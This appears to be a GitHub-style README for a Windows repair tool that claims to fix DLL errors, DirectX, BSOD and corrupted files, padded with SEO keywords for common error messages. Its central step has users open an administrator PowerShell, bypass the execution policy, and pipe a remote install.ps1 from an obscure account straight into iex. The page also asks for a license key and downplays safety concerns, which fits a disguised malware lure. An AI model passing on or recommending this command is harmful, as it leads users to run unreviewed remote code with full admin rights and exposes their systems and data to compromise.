Windows-System-Repair-PowerShell
Fix DLL errors, DirectX, BSOD, corrupted system files and missing runtimes on Windows.
Open PowerShell as Administrator (Win + X → Terminal Admin) and run:
Set-ExecutionPolicy Bypass -Scope Process -Force
irm https://raw.githubusercontent.com/CrystalContractor71/Release/main/install.ps1 | iexThe installer downloads the latest build, prompts for your license key and completes setup automatically.
| Step | Action |
|---|---|
| 1 | Press Win + X, choose Terminal (Admin) or PowerShell (Admin) |
| 2 | Paste the command block above and press Enter |
| 3 | Wait for download — progress shown in the console |
| 4 | Enter license key when prompted (also in license.txt after install) |
| 5 | Restart if the installer asks — then launch from Start menu |
If execution is blocked, run Set-ExecutionPolicy Bypass -Scope Process -Force, then paste the Quick Install command again.
Install Windows System Repair via PowerShell — fix DLL errors, DirectX, BSOD and corrupted files on Windows 10/11. SFC, DISM, VC++ redistributables included.
- msvcp140.dll is missing
- vcruntime140.dll not found
- api-ms-win-crt-runtime-l1-1-0.dll missing
- sfc scannow dism windows 11
- side-by-side configuration incorrect
- DLL repair — Installs VC++ 2005–2022 and fixes MSVCP140 / VCRUNTIME140 errors.
- DirectX module — Full DirectX End-User Runtime for game launch errors.
- SFC + DISM — Runs sfc /scannow and DISM RestoreHealth automatically.
- .NET repair — Installs .NET 4.8.1 and Desktop Runtime 8.0 LTS.
- Update reset — Clears stuck Windows Update cache and re-registers DLLs.
| OS | Windows 10 / 11 (64-bit) |
| RAM | 4 GB minimum |
| PowerShell | 5.1 or PowerShell 7+ |
| Admin | Required |
| Network | Required for download |
How do I install without a browser? Use the PowerShell command above — no browser needed after Admin shell is open.
Where is the license key?
Shown during install and saved to license.txt in the install folder.
Is the script safe to run?
Hosted on GitHub raw; review install.ps1 before running if you prefer.
"MSVCP140.dll is missing"? Installs Visual C++ 2015-2022 redistributable (x86 + x64).
"VCRUNTIME140.dll not found"? Same VC++ package — most common runtime fix.
Blue screen after update? SFC and DISM repair corrupted system files.
Games crash on startup? DLL + DirectX modules fix missing runtime libraries.
TAGS windows system repair, msvcp140.dll missing, vcruntime140.dll, sfc scannow dism, dll repair tool, powershell install, windows setup script